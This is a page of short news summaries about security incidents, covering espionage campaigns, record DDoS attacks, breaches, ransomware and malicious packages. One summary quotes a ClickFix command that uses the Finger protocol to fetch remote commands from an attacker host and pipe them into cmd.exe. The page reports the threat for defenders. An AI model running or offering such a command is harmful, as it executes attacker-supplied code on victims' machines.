All news in category "Incidents and Data Breaches"

Iranian-backed UNC1549 Deploys TWOSTROKE and DEEPROOT

🛡️ Mandiant has linked suspected Iranian espionage actors to a sustained campaign by UNC1549 that deployed backdoors such as TWOSTROKE and DEEPROOT against aerospace, aviation, and defense organizations in the Middle East. Operating from late 2023 through 2025, the group abused trusted third parties and VDI sessions to pivot into customer environments and leveraged highly targeted, role‑relevant phishing. Observed operations combined credential theft, lateral movement, custom tunnellers and credential‑stealing utilities to execute long‑term reconnaissance and data exfiltration.

Azure Mitigates Record 15.72 Tbps DDoS from IoT Botnet

🛡️ Microsoft Azure said it blocked a record 15.72 Tbps DDoS attack tied to the Aisuru IoT botnet that surged to roughly 3.64 billion packets per second and targeted a single cloud endpoint in Australia. The attacker launched extremely high-rate UDP floods from over 500,000 source IPs with minimal spoofing and random source ports. Azure DDoS Protection automatically detected and mitigated the traffic without disrupting customer workloads, and Microsoft urged organizations to validate internet-facing protections ahead of peak periods, noting systemic IoT security gaps.

Checkout.com Apologizes After Breach, Donates Ransom

🔒 Checkout.com publicly disclosed a breach after the ShinyHunters group accessed data from a legacy third‑party cloud storage system used prior to 2020, and issued an apology taking responsibility for the error. The company said fewer than 25% of current merchants were affected, confirmed no payment card data was taken, and refused the ransom demand. Instead of paying, it donated the ransom amount to Carnegie Mellon University and the University of Oxford Security Center to support research into cybercrime.

Microsoft Mitigates 15.72 Tbps IoT-Driven DDoS Attack

🛡 Microsoft automatically detected and mitigated a massive DDoS attack that peaked at 15.72 Tbps and roughly 3.64 billion packets per second against a single Australian endpoint. The traffic was attributed to a TurboMirai-class IoT botnet called AISURU, sourced from hundreds of thousands of compromised routers, cameras, and DVRs and launched from over 500,000 source IPs across multiple regions. Attackers used high-rate UDP floods with minimal source spoofing and random source ports, factors Microsoft said helped simplify traceback and provider enforcement. The incident underscores rising DDoS baselines as broadband speeds increase and IoT devices become more capable.

Defeating BLOCKADE SPIDER: Stopping Cross-Domain Attacks

🔒 CrowdStrike describes how OverWatch detected and disrupted BLOCKADE SPIDER, a financially motivated eCrime group that has used cross-domain techniques since at least April 2024 to access unmanaged systems, dump credentials, and deploy Embargo ransomware. By correlating endpoint, identity, and cloud telemetry in Falcon Next-Gen SIEM and Falcon Identity Threat Protection, analysts traced a compromised VPN service account and observed MFA bypass and AD manipulation. The account underscores the value of unified visibility to stop lateral movement and protect critical assets.

Malicious npm Packages Use Adspect to Cloak Crypto Scams

⚠️Seven npm packages published under the developer name 'dino_reborn' were found leveraging the cloud-based Adspect service to distinguish researchers from potential victims and redirect targeted users to cryptocurrency scam pages. Socket's analysis shows six packages include a ~39 KB cloaking script that fingerprints visitors, employs anti-analysis controls, and forwards data to an actor-controlled proxy and the Adspect API. Targets are redirected to deceptive Ethereum and Solana-branded CAPTCHA pages, while likely researchers are shown a benign Offlido-style decoy.

Eurofiber France reports ticketing-system data breach

🔒 Eurofiber France disclosed a cybersecurity incident after attackers exploited a vulnerability in its ticket management system and exfiltrated information. The company said the impact is limited to its French division, including the ATE portal and several regional sub-brands, and that banking details and other critical data on separate systems were not affected. Authorities (CNIL, ANSSI) were notified and an extortion report has been filed while investigations continue.

Princeton discloses data breach affecting donors, alumni

🔒 Princeton University disclosed a November 10 cyberattack in which threat actors phished an employee and accessed a database used for fundraising and alumni engagement. The attackers exfiltrated biographical information such as names, email addresses, telephone numbers, and home and business addresses for alumni, donors, faculty, staff, and students. University officials say the compromised system did not contain financial data, passwords, or Social Security numbers, and they have blocked the intruders' access while investigating. Affected individuals are urged to verify any communications claiming to be from the university and to avoid sharing sensitive information.

Dutch Police Seize 250 Servers Used by Bulletproof Hosting

🛑 Dutch police seized around 250 physical servers and thousands of virtual machines tied to a bulletproof hosting service that allegedly catered exclusively to cybercriminals. Authorities say the infrastructure has been used since 2022 in more than 80 investigations and facilitated ransomware, botnets, phishing, and distribution of child abuse content. Investigators will perform forensic analysis on the seized systems to identify operators and clients. No arrests have been announced; the provider CrazyRDP has reportedly gone offline after the action.

Aisuru Botnet Fires 15.72 Tbps DDoS at Microsoft Azure

⚠️ Microsoft reported that the Aisuru botnet launched a massive DDoS attack against a public Azure IP in Australia, peaking at 15.72 Tbps and nearly 3.64 billion packets per second. The traffic originated from over 500,000 IP addresses and consisted of extremely high-rate UDP floods with minimal source spoofing. Microsoft noted the bursts used random source ports, which aided traceback and provider enforcement. Azure's mitigations absorbed the attack without a reported widespread outage.

EVALUSION ClickFix Campaign Delivers Amatera, NetSupport

🔒 Researchers identified a ClickFix-based EVALUSION campaign deploying Amatera Stealer and NetSupport RAT, observed in November 2025. The campaign abuses the Windows Run dialog and mshta.exe to launch a PowerShell script that downloads a .NET DLL hosted on MediaFire; the Amatera DLL, packed with PureCrypter, is injected into MSBuild.exe to exfiltrate data. eSentire highlights Amatera's WoW64 SysCalls evasion and conditional NetSupport deployment when domain membership or valuable files are detected.

Kraken Uses Benchmarking to Optimize Ransomware Attacks

🔒 Cisco Talos reported August 2025 activity by Kraken, a Russian‑speaking ransomware operation linked to the remnants of HelloKitty. The group exploits SMB flaws for initial access, uses Cloudflare for persistence and SSHFS to exfiltrate data, then deploys cross‑platform encryptors across Windows, Linux and VMware ESXi. Notably, Kraken benchmarks victim machines to tune encryption speed and reduce detection and instability. Victims span multiple countries and attackers operate a new leak forum called Last Haven Board.

Europol Removes Thousands of Extremist Gaming Links

🔍 A coordinated action led by the European Union Internet Referral Unit (EU IRU) on 13 November 2025 resulted in the referral of thousands of extremist links found across gaming and gaming-adjacent platforms. Authorities from eight participating countries flagged 5,408 jihadist links, 1,070 violent right‑wing extremist items and 105 racist or xenophobic posts. Investigators noted illicit content on live streams, video libraries, forums and hybrid storefronts, and described how creators repurpose in-game footage with coded language and imagery to evade detection. The initiative aims to reduce public exposure and bolster cross-border cooperation.

Pennsylvania AG Data Breach After INC Ransom Attack

🔒 The Pennsylvania Office of the Attorney General (OAG) confirmed that files containing personal and medical information were accessed during an August 9 ransomware attack and that the office refused to pay the ransom. The incident encrypted systems and disrupted the OAG website, employee email accounts, and landline phones. Researcher Kevin Beaumont identified public-facing Citrix NetScaler appliances vulnerable to CVE-2025-5777 (Citrix Bleed 2) that may have been exploited. The threat actor INC Ransom later claimed responsibility and posted about 5.7TB of alleged stolen data.

Weekly Recap: Fortinet Exploited, Global Threats Rise

🔒 This week's recap highlights a surge in quiet, high-impact attacks that abused trusted software and platform features to evade detection. Researchers observed active exploitation of Fortinet FortiWeb (CVE-2025-64446) to create administrative accounts, prompting CISA to add it to the KEV list. Law enforcement disrupted major malware infrastructure while supply-chain and AI-assisted campaigns targeted package registries and cloud services. The guidance is clear: scan aggressively, patch rapidly, and assume features can be repurposed as attack vectors.

Job-test malware campaign shifts to public JSON dropboxes

🔎 The Contagious Interview campaign is delivering trojanized coding tests that fetch heavily obfuscated JavaScript from public JSON-storage services such as JSON Keeper, JSONSilo, and npoint.io. When executed in a Node.js test run the payloads decode and install the BeaverTail infostealer and then stage the InvisibleFerret RAT. NVISO Labs warns attackers are abusing developer trust and legitimate platforms and recommends sandboxing, auditing config files, and blocking suspicious outbound requests.

Five Plead Guilty to Enabling DPRK Remote IT and Hacks

🔒 Five individuals have pleaded guilty to serving as facilitators for North Korean cyber operations, the US Department of Justice said. They used false or stolen identities and hosted employer laptops in US residences to create the appearance of domestic remote IT workers, aiding APT38-linked efforts. The DoJ said the activity impacted more than 136 US organizations, generated over $2.2m for Pyongyang and compromised the identities of 18 US residents, and authorities seized $15m in Tether tied to related heists.

JLR Posts £485m Q2 Losses After September Ransomware Attack

🔒 Jaguar Land Rover reported a £485m ($639m) Q2 loss after a September ransomware attack that halted production at its three UK plants for weeks. The company said the incident generated £196m ($258m) in cyber-related costs, contributing to a 24% year‑on‑year revenue decline to £4.9bn ($6.5bn). JLR set up a loan-backed financing scheme for suppliers and secured government loan guarantees, and confirmed production has now resumed.

Decades-Old Finger Protocol Used to Deliver ClickFix Malware

🛡️ Researchers warn the decades-old Finger protocol is being repurposed in ClickFix-style campaigns to fetch remote commands and execute them on Windows systems. Attackers social-engineer victims into running batch commands such as finger root@finger.nateams[.]com | cmd, piping remote output directly into cmd.exe. Observed chains create randomly named folders, copy and rename curl.exe, download a ZIP disguised as a PDF, extract a Python malware package and launch it via pythonw.exe. Blocking outbound TCP port 79 is the primary mitigation to prevent systems from connecting to remote Finger daemons.

Jaguar Land Rover Cyberattack Costs Company Over $220M

📰 Jaguar Land Rover reported a cyberattack cost of £196 million ($220 million) for the July–September quarter after the incident forced production shutdowns and staff to be sent home. The breach, announced on 2 September 2025, involved confirmed data theft and was claimed on Telegram by the group Scattered Lapsus$ Hunters. Following a UK government-backed £1.5 billion loan guarantee, JLR says operations, wholesale and supplier financing have been restored and production has resumed under a phased restart.